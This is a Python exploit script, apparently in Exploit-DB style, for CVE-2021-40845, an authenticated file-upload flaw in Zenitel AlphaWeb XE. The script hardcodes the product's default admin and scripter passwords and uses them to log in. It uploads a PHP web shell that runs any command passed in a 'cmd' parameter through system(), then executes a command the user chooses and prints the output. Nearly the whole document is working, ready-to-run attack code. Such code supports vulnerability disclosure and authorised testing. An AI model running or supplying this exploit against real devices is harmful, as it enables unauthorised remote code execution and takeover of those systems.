# Exploit Title: AlphaWeb XE - Authenticated Insecure File Upload leading to RCE (CVE-2021-40845)
# Date: 09/09/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor website: https://www.zenitel.com/
# Product website: https://wiki.zenitel.com/wiki/AlphaWeb
# CVE: CVE-2021-40845 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40845)
# Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami"
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-40845

import requests
import base64
import argparse

# Default credentials, change them if it is necessary
admin_user = "admin"
admin_pass = "alphaadmin"
scripter_user = "scripter"
scripter_pass = "alphascript"


def get_args():
  parser = argparse.ArgumentParser()
  parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
  parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
  my_args = parser.parse_args()
  return my_args


def main():
  args = get_args()
  base_url = args.url
  url_main =   base_url + "/php/index.php"
  url_upload = base_url + "/php/script_uploads.php"

  command = args.command
  uploaded_file = "poc.php"
  url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command

  login_authorization =  "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))
  upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii'))

  headers_login = {
    "Authorization": login_authorization,
    "Cache-Control": "max-age=0"
  }

  headers_upload = {
    'Authorization': upload_authorization,
    'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"',
    'sec-ch-ua-mobile': '?0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Sec-Fetch-Dest': 'iframe',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9',
  }

  files = {
    "userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"),
  }

  s = requests.session()
  # Login as admin
  s.get(url_main, headers = headers_login)
  # Upload file
  upload = s.post(url_upload, files=files, headers = headers_upload)
  # Execute command
  cmd = s.post(url_cmd)
  print(cmd.text.replace("<pre>","").replace("</pre>",""))


if __name__ == "__main__":
    main()